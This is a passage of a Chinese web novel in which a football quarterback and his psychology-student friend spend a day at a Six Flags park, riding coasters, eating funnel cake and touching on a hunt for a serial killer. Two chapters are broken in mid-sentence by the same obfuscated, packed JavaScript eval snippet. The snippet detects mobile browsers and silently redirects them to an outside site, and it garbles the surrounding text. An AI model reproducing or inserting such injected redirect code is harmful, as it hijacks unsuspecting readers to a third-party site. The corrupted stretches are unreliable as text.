“所以,其实我一直坚信着,艾登,只要那个杀害你父亲的连环杀人犯存在,我们就一定可以把他找出来。” 云决明很少会这般充满自信,也只有与心理学有关的事情能让他露出这一面,他那淡色的,被细细绒毛所包裹的双唇染上了轻快的色彩,光芒由内到外地照亮了那张几秒钟前还沉浸在痛苦中的面庞,手从裤兜里抽出来,像在指挥乐队一样在空中比划着手势。被汗水打湿,紧紧贴在额头上的黑发快活地跟着晨风一块起舞,那双亮晶晶地眼睛直直地望着艾登,像是在问他的信念是否也同样坚定。 而艾登完全相信他说的话。 过去的一星期里,他推掉了所有的派对邀请,一直待在家里,见识了云决明是如何像阵龙卷风似的,迅速而深入地吸收着一切与犯罪心理学有关的知识,任何一点小小的空闲时间——在艾登身边打下手也好,坐在一旁帮他计力量训练需要的时间也好,陪他遛狗也好,刷牙的时候也好——他的手上始终都捧着书,kindle,或者是IPad。如果实在忙得腾不开手来,云决明就用听的,他新买了一个app,可以把导进去的论文大声地念出来。 如果说这些还不算什么的话,云决明甚至拜托艾莉去托妈妈的关系,从P大拿到了不对外公开的犯罪心理学课录像——虽说那都是90年代留下的资料,还要专门租一台vcr机子来播放,但教学内容倒没有过时多少,云决明每天都尽量抽空看一节,期间就像正在听课一样,还会认真的做笔记。 艾登清楚,云决明不全是为了他父亲才如此求知若渴,而是因为他本身就热爱这一切,与犯罪心理学有关的这一切。尽管他一直担忧自己会不会过多干涉云决明的生活,但劝说对方将专业更改为心理学这一点,艾登不会后悔。 “你真这么觉得?”他这么问,只是想看见云决明肯定时的笑容。 “真的。” 他果然笑了,是那种极为罕见的,咧开嘴的大笑,尽管只持续了短短须臾。云决明的牙齿并不怎么整齐,门牙有点歪,两颗小小的虎牙凸出来,但因为难得能见到他笑得如此开心,艾登只觉得那牙口可爱无比。 这时,他才能肯定。云决明的继父——不管他做了什么——至少都不是将云决明引向黑暗的主要原因。云决明不屑于他的作为,对他充满鄙夷,但这两者与他拒绝选择心理学专业时那副痛不欲生的模样比较,根本不可同日而语。 “再给我几个月的时间,我觉得我就可以围绕你父亲的案件做出一个完整的受害人侧写,那之后,如果艾莉能够按照我的想法设计出一个程序,那我们就可以把所有你筛查出的案件资料输进电脑,然后根据多项关键点不断交叉对比,找出潜在的受害人。” “你觉得是时候让艾莉也参与调查了吗?” 艾登有点犹豫。诚然,艾莉已经向他证明,她其实比他想象的要坚强得多,也要能干得多,更何况艾登早就怀疑艾莉已经察觉了真相,家里的长辈从不到地下室去,他有时警惕因此放松,会忘记锁门——云决明第一次过来辅导时就刚好遇上,艾莉则更狡猾,说不定早就已经溜进房间,看遍了他找到的那些资料。 “那也是艾莉的父亲,她跟你一样有权知道真相,你早就应该让她知道了。”云决明晒道。 “也许等放假回来以后,”艾登松口了,但他仍然想给自己更多时间思考这件事,“我不想让她度假时还担心着这种事情。” 谈话到这儿中止了,云决明似乎对这个答案很满意,又重新靠在车窗上,兴奋劲过去以后,他看起来的确像是要晕车的模样了。过了几分钟,艾登再瞥眼瞧他,就发现他的上下眼皮已经找到了彼此,云决明鼻息均匀,四肢放松,已经沉沉睡去了。 单手扶着方向盘,艾登在后座上摸索了好一会,找到了一床毯子。自从上次去看电影以后,他就发现云决明有晕车的毛病,很容易睡着,因此便在后座上备了一床毯子,免得他吹风着凉。一边开车,一边铺毯子并不容易,左边扯了右边掉,右边拉了左边滑,手忙脚乱地弄了一会,艾登才尽可能轻手轻脚地把毯子掖好,松了一口气。 他们这时已经拐上了高速公路。还有半个小时,就能到游乐园了。 36. Chapter·Fourteen 当云决明主动提议一块去六旗主题公园的时候,艾登觉得他应该是做好心理准备了。 毕竟,说到底,六旗就是以它打破各种极限的过山车而出名的,人们去那儿就是为了寻求刺激, 拐下高速,驶入通往乐园的林荫道后,远远就能听见的尖叫声一下子把云决明从睡梦中惊醒了。“那是什么声音?”他睡眼朦胧地问道,毯子一下子滑了下来,艾登顺手捡起,一把丢到了车后座上,云决明似乎没注意到他的动作。 艾登没有立刻搭话,而是等车子驶出了山林阴影,才伸手指了指左前方那无比显眼,高耸入云,成一个倒U字型的绿色过山车轨道,“从那传过来的。” 就像是为了应和他的话似的,一辆过山车以眨眼的速度,如道残影般冲上了绿色轨道的最高处,随即又以与地面几乎垂直的角度,直直坠落,带来了一阵凄厉的声浪,以及轨道与滑轮之间摩擦发出的轰轰声。艾登瞥了一眼,发现云决明的脸色几乎就跟那轨道一个颜色。 “那可是世界上最高的过山车,Ming,叫金达卡。”他促狭地冲对方眨眨眼, “你害怕了吗?” 云决明咽了一口口水,“你坐过吗?” “好多次了。”艾登笑了起来,“有一次,我和整个橄榄球队打赌,看谁能一直连续坐最多次——我们去的那天人不多,平均十多分钟就能玩上一趟,那天我连续玩了十四次,感觉把我买的季票钱都连本带利地坐回来了,这个记录至今没人能打破。” 听见这番话,云决明原本青绿的脸色顿时又转为煞白。也是幸好,他现在面前没有镜子,才看不到自己的神色是怎么赤倮倮地出卖了他的恐惧,艾登好笑地看着这一幕,却不说破。只瞧着云决明不做声地伸着脖子,偏着头,想从前挡风玻璃那儿瞧见金达卡的全貌。每次一有过山车经过,他就会微不可察地颤抖一下。 “你说你来了美国以后就没去过游乐园,”在乐园入口处交了停车费以后,艾登适时地打破了沉默,“那在来美国以前呢,你去过吗?” “去过,当然去过。”云决明嘟囔了一声,“小学秋游的时候。” “‘秋游’?”又是一个艾登听不懂的词,“那是什么意思。” “用英语来说的话,就是班级集体外游,”云决明解释了一句,“我上小学五年级那年的春游——也就是我离开中国前最后一个学期发生的事情——就是去长隆欢乐世界,它跟六旗很像,也是主题公园。” “那你坐了过山车吗?”艾登坏坏一笑,故意问道。一看云决明的反应,他就知道云决明八成根本没有任何乘坐过山车的经验。 “嗯……”云决明瞥了他一眼,有点不自然地含糊了一句,一点点粉色攀上他的耳尖,“但已经过去太久了,”他马上又补充了一句,“我早就忘了那是什么感觉了,就记得挺刺激的。” “没关系,”艾登贼兮兮地说道,夸张了自己的语气,“金达卡可以重新定义你心中对‘刺激’的看法,下来以后,我们还可以顺拐去旁边的跳楼机玩个几趟——那也是世界上最高的跳楼机,顺便说一句。” “行啊。”云决明表面若无其事地应了一声,然而那张面无血色的脸显然表达是另一种意思。艾登不得不借着几声咳嗽才盖过去了大笑的冲动,稳稳当当地停好了车。准备下车的时候,云决明脸上已经换好了视死如归一般的神情,他松开安全带的模样,就像即将背水一战的将士放跑爱马一样,依依不舍又带着诀别意味。 艾登差那么一点点,就要在停车场笑到打滚了。 他很早就注意到,云决明喜欢在自己的面前表现出自己“最男人”的一面,会尽可能地把传统观念中认为不那么男子气概的一面藏起来——譬如他喜欢去一个可爱温馨的甜品店写作业,或他最喜欢的食物是栗子蛋糕。 再者,就是他害怕坐过山车这件事。 而他在遮掩这些小细节时嘴硬的模样,在艾登看来实在有趣极了。 从停车场走到检票口的路上,艾登一路都在描绘他上次坐金达卡过山车的体验——“一瞬间,就像你的心脏倏地从你背后被吸了出去,你的灵魂被抛上了半空,再跟着你的身体一起落回地面,整个过程中,你的心跳都似乎完全停顿了,甚至也包括你的呼吸,那种感觉真是无与伦比。”再要不就是形容金达卡令人惊异的速度,“它同时也是世界上第二快的过山车,可以在三秒内加速到130英里每小时的速度——那是多少公里来着?” “210公里。”云决明有气无力地回答。 “啧啧,想想在那么短的时间内就达到这个速度——噢,对了,据说,偶尔会有那么几次,金达卡的过山车会加速失败,没能一口气冲上那个接近500英尺……多少米来着?” “140米。”云决明干巴巴地说道,此刻的他就像个只懂得计算的机器人,连手脚都僵硬了。 “——一口气冲上140米的高度,就会一下子倒退回去,要是我们也能碰上这样难得的经历,该有多酷啊?” 这回,云决明连话都说不出了。 “先生,您中暑了吗?”兴许是云决明的脸色太差,连验票口的年轻女孩都禁不住好心地询问了一句,“我们的医疗室进门后右转就是,您可以去那儿喝点水,也许吃点药?” “不必了。”云决明的嗓子仿佛被人捏住了,但他还是想尽办法维持住了冷淡平静的神色,“我觉得我最好在短时间内都不要吃任何东西。” 年轻女孩不解地看着他,直到艾登把票递给她,才回过神来。 “别担心他。”艾登冲她粲然一笑,他没摘下自己的墨镜——不是他自恋,但是约州挺小的,还是会有不少球迷能认出他来——但那年轻女孩也呆滞了一下,“他只是有点儿紧张。” “祝,祝您有愉快的一天。”那年轻女孩似乎都没听见艾登说了什么,只结结巴巴地应了一句,脸红透了。 吹着口哨的艾登大步向云决明走去,却发现他原本苍白无比的脸色在刚刚短短的数秒钟内转为了青黑色。注意到艾登正朝他走去,云决明的神色瞬间又恢复了正常。“走吗?”他招呼了一句。但不知怎么地,艾登却好似从他淡淡的语气听出了一丝不快。 “当然,走这边。” 云决明不可能察觉他要恶整对方的心思,大约是自己的错觉吧,艾登心想,也可能是因为云决明实在太恐惧过山车了,才会有那样的表情。 “你带头。”云决明没有拿上一份公园的地图,而只是偏了偏头,示意他先走。 要是云决明之前来过这儿,艾登的计划肯定不会成功。但眼下,他对自己正往哪儿走毫无头绪,只知道金达卡过山车瞅着越来越近了,但还是有着一点距离。就在这时,艾登领着他拐上了一条两旁种满云杉的小道,“从这里就是往金达卡过山车排队的地方了。”他说道。 “可金达卡看着还挺远的。”云决明有点不解。 “他们把排队的地方设置得很长。”艾登解释了一句,不由分说拉着他的胳膊往里走,“我们速度得快点,今天是周末,一会排队的人就要多起来了。” 直到真正走到了过山车的脚下,登上了排队的阶梯,云决明才意识到了不对——在他面前排着都是一家老小,最小的孩子看着只有七八岁,无论从年龄还是从身高都不可能达到乘坐世界上最高的过山车的标准,“这不是金达卡,”他转过身来,眯起了眼睛,“你把我带到哪儿了,艾登?” “金达卡是这个乐园里最刺激的过山车,”艾登嬉皮笑脸地说道,假装没听到云决明明显松了一口气的语气,“要是先玩了那个项目,整个主题公园对你来说都会变得索然无味了——我可不希望这样。” “所以你就带我来坐小孩子的过山车?” 明明在窃喜,云决明却硬是不让自己的情绪流露出来,只是冷淡地反问了一句。 “你也说了,距离你上次乘坐过山车已经是挺久以前的事了,总得让你循序渐进地找回当初那种据说‘十分刺激’的感觉嘛。” “可这里只有我们两个男人。”云决明有点不好意思地咳嗽了一声,确实,他们身边全都是带着孩子的父母,两个大男人夹在一群叽叽喳喳的孩子中间,确实有点显眼。已经有不少人在好奇地打量着他们。 “那又怎么样?”艾登一本正经地说道,“这个过山车只规定了身高多少以上能玩,又没说年龄超过十二岁以上的孩子就不给玩了。这年头,难道有童心也是一种错了吗?” 他的声音略微提高了一点,果然,有不少人因此就转过头去了。只剩下几个仍然起劲地打量着他们——但那目光并不是疑惑两个年轻小伙子为什么会来玩这种没有刺激性的项目,更像是在疑惑这两个年轻小伙子之间有没有什么不可告人的关系。 云决明也注意到了,他马上就低下了头,撇开了脸,显得很不自在。 见状,艾登摘下自己的墨镜——在场没人流露出认得他的迹象,这是好事——小心地给云决明戴上,他的手指不经意掠过一丝柔软的发丝,却又及时在贪恋触感以前收回了手。“好了,”他低声安抚道,“至少戴了墨镜,你可以假装那些人都看不见你。” 说着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041213|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他不忘狠狠地瞪了那几个人一眼,直到逼得他们收回了异样的目光,才打住——艾登很不喜欢美国文化中的这一点,美国人太过追求男子气概,所有的影视剧中都能找到男人被误会为gay以后感到尴尬和不爽的段子,以至于男性总是很忌讳自己与同性朋友之间的界限,生怕给对方,也给别人留下什么错误的印象。两个男人要是一起出门,要么只能去运动,要么只能去喝酒,绝不可能一起去甜品店吃冰激凌,更不可能一块去游乐园坐过山车。 “也许我们根本不该来。”云决明轻声说道,“如果有你的球迷看见——如果有你的队员,甚至是我们学校的学生——本来学校里就已经有够多关于我们的谣言了,再加上今天——” “Ming——” “马上新一轮赛季就要开始了,”云决明抬起头,担忧的眼神透过了淡灰色的镜片,“人们很难接受一个有同性恋传闻的四分卫——” “那我会用我的成绩让所有质疑我的人闭嘴,”艾登一边推着他跟着队伍一块走,一边坚定地回答着,“我上个赛季跑出的成绩是1200码,在这之前,约州从来没有哪个四分卫在这个年纪就能取得如此骄人的成绩,至于那些因为觉得我是gay,就不想看我比赛的人——损失了观看一场好比赛的是他们,又不是我,我为什么要在意他们是怎么想的。难道我的教练会因为我跟朋友去了一趟游乐园玩这样无关紧要的事情,就把我换下场吗?” “我——” “已经轮到我们了,快快快——”排队的人不多,他们两个幸运地坐上了最后仅余的两个位置。云决明忙着把墨镜收进口袋里,一时间,话题就被中断了,“系上安全带,握好扶杆。”艾登叮嘱着他,不放心地在工作人员检查过后再用力压了压钢杆。 “这是给小孩子玩的过山车,艾登,”云决明一副不以为意的样子,“我哪怕把双手松开——” 话是这么说,过山车一动,他就立刻吓得抓紧了扶杆。艾登和云决明坐在最后一排,没人能看见他们。等过山车开始爬坡以后,艾登忽地揽住了云决明的肩膀,“你这是在干嘛?”云决明就跟个被非礼的黄花闺女一样惊慌失措,却又不敢松开扶杆推开他,艾登则露出了灿烂的笑容,“说六旗!”他喊道,紧接着就是一连串急促的白光,设置在轨道上的照相机恰到好处地拍下了这一幕。 因为是给儿童设计的过山车,这个坡很短,几秒就到了尽头,艾登趁着云决明还没有反应过来,在过山车即将俯冲的前一刻一把抓起了他的手——“喔喔喔喔喔喔喔——”“啊啊啊啊啊啊啊——”两种情绪截然不同的叫嚷同时响起,云决明吓得大惊失色,然而坠落的刹那很短暂,过山车马上就进入了平缓的一段。 “艾登,你别这么——啊啊啊——” 抓紧机会,他刚扭头想对艾登说点什么,可过山车又迎来了一个下坡,而他的双手还被艾登举在空中,这一次,云决明的尖叫声短暂多了,好似突然意识到这并没有他想象中那么恐怖。 “来,跟着我一起喊,很爽的。”艾登鼓励着他,“在下坡的时候——喔喔喔喔喔喔喔!” 云决明没尖叫,但也没喊,过山车在这之后来了几个小小的起伏,就结束了。他们两个是最后从座位上起身的,跟前面离开的乘客拉开了老远的距离。“那么喊很羞耻。”下楼梯的时候,云决明才小声开口了,“不过,这个过山车还挺有意思的,不怎么恐怖。” “坐过山车的时候大家都会叫出声来,不叫才难受呢”艾登耸了耸肩,伸手从云决明衣袋里拿出墨镜,再给他戴上,“没人会注意到你的。实在不行,我喊大声一点——我做那个喊得最大声的人,不管是在过山车上,还是在底下排队的人,都只能听见我的咆哮,听不见一点你的声音,怎么样?” 云决明被逗笑了,艾登满意地点了点头,“这才对嘛。”他说道,“这才是来游乐园应有的表情,而不是——” 话说到这儿,他们刚好走到照片小站处,艾登顺手便指了指右上角屏幕上云决明那张兼具惊恐与虚脱的脸,耸了耸肩,说完了后半句话,“——那样的。” 云决明抬头一望,也禁不住噗嗤笑了出来。照片上的他头发纷乱,全身僵硬,双手紧紧抓着扶杆,好似正在台风中与怪物搏斗,随时都有可能被风吹飞到天涯海角,而不是坐一趟连七岁小孩都能玩的过山车。 “二十美金一张照片。”正在玩手机的工作人员头也不抬地说了一句,“加印一次五美金。” “我就要那张。”艾登掏出了钱包,笑嘻嘻地说道。“麻烦帮我打印三张。” 37. Chapter·Fifteen “谢谢,祝你有美好的一天。” “你也一样,先生。” 刚出炉的漏斗蛋糕还带着袅袅热气,炸得酥软的黄金软条彼此缠绕,就像一个被压扁的鸟巢,甜香扑鼻,那是属于碳水化合物经过高温加工后特有的味道,最能激发食欲,更不要说上面覆盖着一层厚厚的糖粉——那是艾登用他的招牌笑容换回的特殊待遇。他小心翼翼地端着纸碟子,快步向坐在长椅上的云决明走去。 从小飞象过山车下来以后,艾登带着他又玩了另外两个为稍大一点的孩子设计的游玩项目,一个是加强版的海盗船,另一个则是空中秋千。虽说不如这家六旗乐园引以为傲的十四个大型惊险项目那么刺激,但却是个不错的过渡,能让云决明逐渐适应失重及心跳加速的快感。甚至,在坐“乘风破浪号”海盗船时,在艾登高声叫嚷的鼓励下,他也小小地跟着喊了几声。下来以后,艾登拉着他去照片小站,屏幕上的两个年轻男孩都在开怀大笑,高兴地注视着彼此。艾登又要了三张,都塞进书包,并寄存在柜子里,免得弄皱了。 瞧见他走过来,云决明立刻放下了手机,艾登只来得及瞧见他是在看Instagram上发来的消息。“来,尝尝这个。”他说着,一屁股在云决明身边坐下,献宝似的把漏斗蛋糕递了过去,还有几张餐巾纸,“这可是六旗乐园的一大特色,这儿卖的漏斗蛋糕特别好吃,我听说,有些人对这里的漏斗蛋糕爱得发狂,甚至不惜每年都购买季票,只为了能常常来乐园里吃上几块。” “这也太夸张了吧。”云决明撇了撇嘴,小心翼翼地用餐巾纸捏起蛋糕的一个角,寻找着可以下口的地方。他既要小心不让糖粉落在自己身上,又不想吃的狼狈,看得艾登心急。最后,他干脆把纸碟子接了过去,熟练地用餐巾纸从漏斗蛋糕上撕下一条,捧着送到了云决明口边,“啊——”他说道,示意对方张嘴。 一点点糖粉因为他这一声被吹拂到了云决明脸上,粘在他那张苍白的,略带一点青茬的下巴上。云决明的胡子长得很慢,十天半个月才能瞧见他刮一次胡子,不过,为了今天的出游,他今天早上倒是认认真真地拿剃须刀在下巴上磨了半天。“让我来。”艾登下意识地说了一句,把餐巾纸递给云决明,然后用大拇指拂去了星星点点的粉末,触手的肌肤细腻柔软,有一点轻微的颗粒感,就跟他想象中一样。 那一刻,在完全没有意识到自己做了什么的前提下,艾登自然而然地就舔掉了手指上的糖粉。 如果不是云决明立刻就涨红了脸——从额头一直红到脖子根,活像西红柿成精了一般,手足无措地将剩下的漏斗蛋糕塞进他手里,从椅子上跳了起来,嘴里嘟囔着要去上厕所,像亡命一般忙不迭地落荒而逃,艾登可能压根不会醒悟自己的行为有多么暧昧。 他迅速在脑子里回想了一秒适才的情形,尴尬顷刻占据了他全部的念头——老天,他做了什么?就算是跟女孩在约会,艾登也不会在他们关系更进一步,确定对彼此都有感觉以前就做出这么亲昵的举动。这下Ming不知道会作何感想,要是万一他以为我是gay——不对,那不应该是最糟的情形,最糟的情形是Ming觉得自己对他有意思,从此就打算疏远他。 一想到这一点,艾登的大拇指像赤手抹了天椒一样火辣辣地烧了起来,藏进口袋里不是,就这么大剌剌地甩在外面也不是。手上那块漏斗蛋糕闻上去也没那么甜腻了,慌乱填进他每个细胞,不安在他脑海里如烟花般接连炸开。但愿云决明千万不要想多,艾登内心苦苦祈祷着,但看着对方夹着腿,姿势古怪地向洗手间走去的模样,他又禁不住侥幸地猜测云决明是不是真的急着要如厕。 如果云决明出来以后提起这件事——尽管艾登觉得这个可能性极小——就说自己平时跟女生出来约会约得多了,是下意识的行为,根本不代表什么。艾登暗暗在心里这么打算着,虽说他从来没对任何一个女孩这么做过。 云决明在洗手间里磨磨蹭蹭地折腾了二十分钟才出来,那时候漏斗蛋糕早就凉透了,成了和凝固糖粉纠结在一块的油团子,一点也不好吃了,艾登无不遗憾地把它丢进了垃圾桶,心想那可能是云决明这辈子唯一没吃完的一块蛋糕。 “走吧。”他故作轻松地招呼着对方,用手肘轻轻撞了撞他的肋骨,希望这样的小举动能让云决明意识到适才不过是个误会——只是他还没习惯拥有一个真正的密友这件事,没有把握好尺寸而已,“我觉得你已经做好了准备,可以挑战绿灯侠过山车了——那是所有过山车里最不刺激,也最无聊的一个,充其量就是在你品尝金达卡以前的开胃菜而已。” “嗯。”云决明飞快地应了一声,眼神躲躲闪闪,看天看地看旁边跑过的两个小孩,就是不肯看他,就连他们之间的距离也稍微拉远了一点。艾登的心一沉,心叫完了。 “我小的时候——就是我还没加入橄榄球队,开始严格控制饮食的时候,”为了能让他放松一点——或者不如说放松此刻对自己的警惕,艾登迅速改变了话题,“我父亲经常带我来这儿玩,每一次,他都会给我买一块漏斗蛋糕。” “嗯。”云决明慢吞吞地应了一句,估计他这会八成正在心里猜测,那个为了漏斗蛋糕买季票的人,是不是就是艾登的父亲。这正是艾登希望的,让他想点别的,而不是频频在脑海里回放适才的一幕。 “很多童年的事我都记不清了,几次和父亲在乐园里游玩的记忆也都是模糊的。”艾登微笑起来,努力让自己的神色保持正常,假装无事发生,“我想大多数人都是这样,每长大一点,就不得不抛下一点过去。不过这个细节我倒是记得很清楚。我们会站在乐园入口处的喷泉前,一边吃,一边等待喷泉表演。水珠‘哗’地一下被抛射到半空中时,偶尔会在夕阳下抹出一道彩虹,每次都让我非常开心,坚信那会给我带来受用不尽的好运。” “嗯。”这一回,云决明表情稍稍和缓了一些,肢体也没那么僵硬了,艾登趁机一点一点地把他们之间的距离又拉近了。 “可能是因为每次瞧见彩虹时我都在吃蛋糕,不知道为什么,那时候我一直坚信,把一碟糖粉挥洒出去也能获得与喷泉同样的效果。”他同时不忘声情并茂地讲述着自己的童年故事,“后来,我把这件事告诉了只有三岁的艾莉,她天真地相信了我——从那以后再也没有这种好事了,不管我说什么她都会抱有深深的怀疑,不过,话说回来——她当时也嚷嚷着要看彩虹,我没找到糖粉,于是就把奶奶做菜用的白糖——有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041214|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好大一罐呢,抱到了后院去。艾莉兴奋地换上了她的蕾丝公主裙,说要在彩虹下跳舞。” 话说到这里,已经可见地能预想到结局了,云决明终于忍不住露出了一点笑意,“然后呢?” “然后,我双手捧起了满满的一把白糖,兜头盖脸地向艾莉洒去,有一颗糖弹进了她的眼里,把她痛得哇哇大哭起来。被哭声吸引过来的爷爷和奶奶,就瞧见我不知所措地站在原地,四处张望着寻找彩虹,满头满身全被白糖覆盖的艾莉站在原地伤心大哭,旁边还有一罐打开了的白糖。不用说,他们两个都气疯了。唉,我那次被禁足了整整三个月,还被罚洗车,打扫全家卫生,清洁泳池,倒垃圾等等,甚至被指定去做最痛苦不堪,也是最麻烦的家务:给那片撒了白糖的草坪驱虫。实话跟你说,那次之后,我家闹了好久的蚁灾,我一度怀疑整个约州的蚂蚁都闻风而动,跑来我家吃自助餐来了。” “我小时候也闯过类似的祸,”云决明似乎终于把适才小小的插曲放下了,语气正常了不少,好歹是愿意偶尔把视线放在他的衣领上了,他们这时已经快走到绿灯侠过山车的排队处了。这个过山车是出了名的不好玩,而且因为全过程是站着的,还很咯裆,排队的人寥寥无几,下一趟就能轮到他们,“我忘了是几岁的时候,在楼下和隔壁的一个小女孩一块玩过家家,我把水和泥土混合在一起,勉强做了一个蛋糕,请她吃,结果她真的吃了一口——我记得我是被我的小姨拎到医院去道歉的,不过那个女孩人很好,她一直说自己是自愿的,不是我逼她吃的,但她的父母硬是不信。我小姨夫只好当场揍了我一顿,他们才消气。” “那个女孩不会暗恋你吧。”艾登打趣地问道。很高兴新话题总算得到了对方的回应。 “有这个可能,”云决明淡淡地笑了起来,说起在国内度过的那些日子时,内敛冷淡都会在刹那间从他脸上褪去,化成某种更温和,更温暖,更璀璨的事物,让人能隐隐一瞥从童年洒下的星辉,意识到当年的那个小男孩与今日长成的男人有多么不似,“我那时候还挺受女孩子欢迎的。” 说出这句话时,云决明语气里隐隐有一丝害羞的骄傲。 是啊,艾登闷闷地心想,一个会为自己受女孩欢迎开心的男人,怎么可能会喜欢被另一个男人从脸上刮走糖霜? “现在应该也不差啊,”趁热打铁地,艾登赶忙加了一句。不知道这句话能不能体现出自己鼓励他主动追求疏眠的态度,艾登有点儿心酸地想着,转念又觉得疏眠也许不会喜欢他这种冷淡寡言的男孩,不知怎么地又放心了一点,“自从你来了美国以后,难道就没有一个女生主动跟你示好过吗?” 他们这时候正准备踏上绿灯侠过山车的站位——云决明的脸色霎时就变了,要不是艾登了解他,还会以为那是因为他临时怯场的缘故,但他们都忙着调整安全带,把安全护杆从头顶拉下来扣好,而且还有工作人员来回检查,一时间谁也没有说话。艾登偷偷瞥了几眼云决明阴沉的神色,心想他是不是从前与哪个女孩起过抵牾。 “是有那么一个。” 过山车向上攀爬的时候,云决明突然开口了,他声音不大,在呼呼的风声中只能勉强听清。 “她叫秦诗。” 38. Chapter·Sixteen 有关秦诗的话题,一直到他们回到车上,准备享用午餐时,才重新再提起。 乘坐绿灯侠过山车的过程中,艾登都一直等着云决明继续说下去,然而,不知道是因为绿灯侠过山车速度不快,几个俯冲与三百六十度的旋转都不剧烈,还是说他已经适应了过山车带来的失重和心跳,亦或是回忆中的沉重压倒了恐惧,云决明始终沉默着。从过山车上下来以后,他马上挑起了一个新话题,抱怨怎么会有人想到发明站立前进的过山车,“简直是蛋蛋粉碎者。”他难得说出了这么一句话,走下台阶时有点一瘸一拐,艾登也不能幸免,事实上所有从绿灯侠过山车下来的男人走路都有点不自然。这个过山车的座椅就像单车的坐垫一样,在上下翻转的过程中会不断剧烈地撞击着裆部。 “来了游乐园,总要都体验一下。”艾登龇牙咧嘴地安慰着他,这不是个继续打听秦诗是谁的好时机,他只好按捺下了冲动。然而,他还是不可避免地对这个素未谋面的女孩有了一点隐隐的敌意, “你还真是把中国人常说的‘来都来了’发挥到了极致,”云决明似乎有点后悔提起了秦诗的名字,一心想把艾登的注意力转移开,话都比之前多了,“如果下次还有这种‘总要体验一下’,但‘实际体验很糟糕’的项目,还是不必把我拉上了。” “收到。”艾登并起两根手指,在额头旁一挥,笑嘻嘻地答应了。 从绿灯侠过山车下来后,他们去了旁边的超人过山车玩,这一趟过山车为了模拟超人飞行时的姿势,会将座椅向后升起,把乘客吊在半空中。玩完以后,云决明除了评价它“把我的肋骨压得有点痛”,以外,倒没有觉得它特别刺激,艾登便据此宣布,云决明已经从过山车的“学前班”毕业了,可以正式尝试真正让六旗乐园引起为傲的那些大型刺激项目——第一站,就是蝙蝠侠过山车。 此时乐园里的游客越来越多了,因此他们还是排了好一会队,才最终登上了过山车——虽然蝙蝠侠过山车在艾登心中排在六旗乐园必玩过山车的尾端,但不管怎么说,它也比绿灯侠和超人加在一起刺激多了。整个过程中,云决明仍旧一声不吭,只是紧紧地抓着肩膀两旁的安全防护,任由艾登在耳旁嗷嗷叫嚷也不肯张开一点牙关。下来以后,他轻描淡写地给了艾登一句“还不错”的评价,就去拿储物架上的背包了。经过照片小站的时候,他拉着艾登走得飞快,一路赶超了十几个游客,尽管如此,艾登还是及时在屏幕上捕捉到了一瞥,看见了云决明苍白而且僵硬的神色,知道他其实吓得不轻。 “要不要休息一会?”他提议道,掏出手机一看,才发现已经下午一点半了,“我们可以回停车场,把带来的午餐吃了。” “也好,”云决明点了点头。 一路上,他们顶着炙热的午后骄阳,有一句没一句地闲聊着,从艾登正在玩的新游戏(巫师三)说到云决明的夏课进度(“心理学入门课对我来说一点难度都没有,只是要做的作业挺多的,还好没有小组合作”),又谈到艾登愈发精进的厨艺(“怎么样,我昨晚做的白汁烧蛤蜊非常不错吧?”),后来,已经能从一排排密布的车子中瞧见显眼的猩红野马时,话题不知怎么地又绕到了疏眠身上。“她真的很厉害,”云决明称赞道,他的语气很平静,艾登竭力要从其中听见一点悸动,“我想她大约是荣誉协会历史上第一个竞选成功的华人会长。” 疏眠一个多月前在荣誉协会新一轮的会长竞选中脱颖而出,以明显的票数优势获胜,艾登当时就在脸书上给她留言并恭喜了她的成功——不管他心里怎么觉得别扭,这点意思还是要尽到的。不过,这会,艾登突然觉得那时自己展现出的风度都从舌头上滑了下去,“是啊,没错。”他嘟囔着,“是挺不错的。” 这个话题让他记起了之前戛然而止的一个名字。 因此,在云决明一样一样地把冷藏箱里的食物拿出来的时候,艾登看似随意地开口了,“除了那个叫秦诗的女孩,还有别的女孩跟你表白过吗?” 他是以一副轻松的口吻问的,舌尖都能品尝得到那想要得知云决明过去的渴望的滋味。它又在心中蠢蠢欲动,越烧越烈。以往,不管他们是聚在韩国甜品店学习,还是云决明在家中给他补习,甚至是搬到一块住以后的日子里,这些话题都很少被提及,他们更多谈论的是眼下的生活,学习,每天发生的新闻,琐碎的日常。也许因为一同出来游乐园玩不同于出去看一场电影,或者是一起出去吃顿饭——至少,艾登很清楚,倘若今天他们是在商场吃漏斗蛋糕,他肯定不会干出舔糖粉那么愚蠢的行为——因此允许他们去试探往日不可能触碰到的底线。 如果云决明不想提起秦诗,他只要给出一个“有”或“没有”的答案,再接上一句别的话,这个话题便能就此打住。艾登不想勉强云决明讨论任何他不想说的事,但如果有机会,他还是希望对方能一点点地向这个世界开放自己的心。在这一点上,艾登觉得自己就像个正在教孩子走路的父亲,在前方小心翼翼地伸着双臂,随时准备叫停,或者一把揽住。 云决明从白灼大虾沙拉上抬起头来,“你想知道她的事?”他轻而易举地就看穿了艾登的心思。 迎着他沉静的目光,艾登坦然点了点头。 “为什么?”云决明面无表情。 